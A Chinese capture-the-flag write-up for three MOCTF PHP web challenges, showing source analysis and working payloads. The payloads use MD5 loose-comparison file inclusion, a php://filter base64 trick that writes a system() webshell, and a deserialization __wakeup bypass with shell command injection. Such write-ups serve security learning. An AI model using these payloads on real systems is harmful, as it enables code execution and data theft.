MOCTF
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MOCTF相关的知识,希望对你有一定的参考价值。
花了几个小时做了一下moctf,整理了几个当时没做出来的题
- unset
<?php highlight_file(‘index.php‘); function waf($a){ foreach($a as $key => $value){ if(preg_match(‘/flag/i‘,$key)){ exit(‘are you a hacker‘); } } } foreach(array(‘_POST‘, ‘_GET‘, ‘_COOKIE‘) as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } } if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET[‘flag‘])){ if($_GET[‘flag‘] === $_GET[‘daiker‘]){ exit(‘error‘); } if(md5($_GET[‘flag‘] ) == md5($_GET[‘daiker‘])){ include($_GET[‘file‘]); } } ?>
代码中涉及了几个函数。
1.waf
function waf($a){ foreach($a as $key => $value){ if(preg_match(‘/flag/i‘,$key)){ exit(‘are you a hacker‘); } } }
这个函数中对于$a的限制即$a中不能出现"flag",
2.
foreach(array(‘_POST‘, ‘_GET‘, ‘_COOKIE‘) as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
foreach:用来遍历数组。
foreach (array_expression as $value) foreach (array_expression as $key => $value)
这一段是核心的部分,遍历数组,存放在临时变量$__R中,$$__R也就是$__R的值,$__R作为变量名。
将$$__R存放在$__v变量中。$__k也就是_GET[flag],而$$__k就是_GET[flag]的值
即POST传过去的内容为_GET,这样我们就可以达到if(isset($$__k) && $$__k == $__v) unset($$__k); 这里$$__K就是get参数的值,而$__V是POST传入数组里的键值的值。
3.
if($_POST) { waf($_POST);} if($_GET) { waf($_GET); } if($_COOKIE) { waf($_COOKIE);} if($_POST) extract($_POST, EXTR_SKIP); if($_GET) extract($_GET, EXTR_SKIP); if(isset($_GET[‘flag‘])){ if($_GET[‘flag‘] === $_GET[‘daiker‘]){ exit(‘error‘); } if(md5($_GET[‘flag‘] ) == md5($_GET[‘daiker‘])){ include($_GET[‘file‘]); } }
最后一段代码中,利用到了md5碰撞,其中传入的三个参数flag,daiker,file都需要绕过waf。
因此最终的payload:
FLAG:moctf{e2181b5o14a67159cc23oc8feod6c5b6}
- 死亡退出
<?php show_source(__FILE__); $c="<?php exit;?>"; @$c.=$_POST[‘c‘]; @$filename=$_POST[‘file‘]; if(!isset($filename)) { file_put_contents(‘tmp.php‘, ‘‘); } @file_put_contents($filename, $c); include(‘tmp.php‘); ?>
涉及的第一个问题如何绕过执行exit语句,上网看了一下wp之后发现用下面一种方式即可绕过。
使用base64的解码方法时,base64的解码方法时以4个字节为一组,且会过滤一系列的特殊字符,<?php exit; ?>会被修正为phpexit这七个字符,我们只需要在写入变量c时在开头随便补充一位,在进行base64加密和解密时phpexit便会失效。<?php system(‘cat flag.php‘);?> base64加密后为:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
在开头再添加一位字符bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
payload:c=bPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==&file=php://filter/write=convert.base64-decode/resource=tmp.php
查看元素:
- PUBG
查看源码后发现有bak文件。
打开bak文件。
<?php error_reporting(0); include ‘class.php‘; if(is_array($_GET)&&count($_GET)>0) { if(isset($_GET["LandIn"])) { $pos=$_GET["LandIn"]; } if($pos==="airport") { die("<center>机场大仙太多,你被打死了~</center>"); } elseif($pos==="school") { echo(‘</br><center><a href="/index.html" style="color:white">叫我校霸~~</a></center>‘); $pubg=$_GET[‘pubg‘]; $p = unserialize($pubg); // $p->Get_air_drops($p->weapon,$p->bag); } elseif($pos==="AFK") { die("<center>由于你长时间没动,掉到海里淹死了~</center"); } else { die("<center>You Lose</center>"); } } ?>
传入的参数赋值给pos,接着序列化一个pubg变量,开头还有一个class.php文件,打开class.php.bak。
<?php include ‘waf.php‘; class sheldon{ public $bag="nothing"; public $weapon="M24"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { waf($this->bag); if($this->weapon===‘AWM‘) { $this->Get_air_drops($this->bag); } else { die(‘<center>The Air Drop is empty,you lose~</center>‘); } } } ?>
(1)这里定义了一个sheldon类,里面 有两个public成员 public $bag="nothing"; public $weapon="M24";。
(2)里面有五个成员函数。
①function __wakeup()
②function Get_air_drops($b)
③function __call($method,$parameters)
④function nothing()
⑤function __destruct()
之后我们开始分析,由于在index.php中我们知道要传入一个序列化后的对象,并且class.php中正好只有这个一个类。所以我们可以大胆猜测我们需要构造一个sheldon的对象。
而我们知道, __wakeup()函数在其所在对象反序列化的时候自动调用。所以如果我们构造sheldon对象并反序列后,我们的对象内部就会自动调用wakeup函数,
$this->bag="nothing";
$this->weapon="kar98K";
在析构函数中
public function __destruct() { waf($this->bag); if($this->weapon===‘AWM‘) { $this->Get_air_drops($this->bag); } else { die(‘<center>The Air Drop is empty,you lose~</center>‘); }
最后的析构函数可以看出我们需要传入的weapon值为AWM,然后会执行Get_air_drops函数,其参数为bag,此时我们我们知道Get_air_drops函数会以函数的方式执行bag。只要传入一个类中不存在的函数,其便会被call方法执行。
当对象内容执行结束后会调用析构函数,也就是说这个函数一定会被执行。
①对当前对象的bag成员执行waf函数(这个函数在waf.php中,但是我们目前无法得到waf.php中的内容)。
②然后if中条件满足的话,我们执行Get_air_drops函数,否则输出一行字。Get_air_drops()会执行我们传入的函数
跟进一下_call函数
public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); }
之后是一个php的重载方法__call(),__call()方法用于监视错误的方法调用,该方法有两个参数,第一个参数会接受不存在的方法名,第二个参数则以数组的方式接受不存在方法的多个参数。也就是说只要我们可以传入一个类中不存在的方法,他便会被call方法所执行。
总结一下最后的思路:
①系统肯定要执行__destruct()函数,由此函数执行不存在的函数从而调用__call()。又因为我们的脚本中存在__wakeup()函数所以它会讲我们的weapon强制改成kar98K,导致我们无法调用Get_air_drops()函数。所以我们需要绕过它(下面讲一下)。
②成功绕过__wakeup()后,执行call函数,并满足第一个条件后运行“system("php .//class//$method.php");”得到flag。
现在需要写一个脚本来输出序列化的字符串
<?php class sheldon{ public $bag="//win.php| cat ./class/flag"; public $weapon="AWM"; // public function __toString(){ // $this->str="You got the airdrop"; // return $this->str; // } public function __wakeup() { $this->bag="nothing"; $this->weapon="kar98K"; } public function Get_air_drops($b) { $this->$b(); } public function __call($method,$parameters) { $file = explode(".",$method); echo $file[0]; if(file_exists(".//class$file[0].php")) { system("php .//class//$method.php"); } else { system("php .//class//win.php"); } die(); } public function nothing() { die("<center>You lose</center>"); } public function __destruct() { //waf($this->bag); if($this->weapon===‘AWM‘) { $this->Get_air_drops($this->bag); } else { die(‘<center>The Air Drop is empty,you lose~</center>‘); } } } $a = new sheldon(); print_r(serialize($a)); // var_dump((unserialize(serialize($a)))); ?>
output:O:7:"sheldon":2:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";} (但是需要修改参数个数 2改为其他数)
最终的payload:120.78.57.208:6001?LandIn=school&pubg=O:7:"sheldon":3:{s:3:"bag";s:27:"//win.php| cat ./class/flag";s:6:"weapon";s:3:"AWM";}
以上是关于MOCTF的主要内容,如果未能解决你的问题,请参考以下文章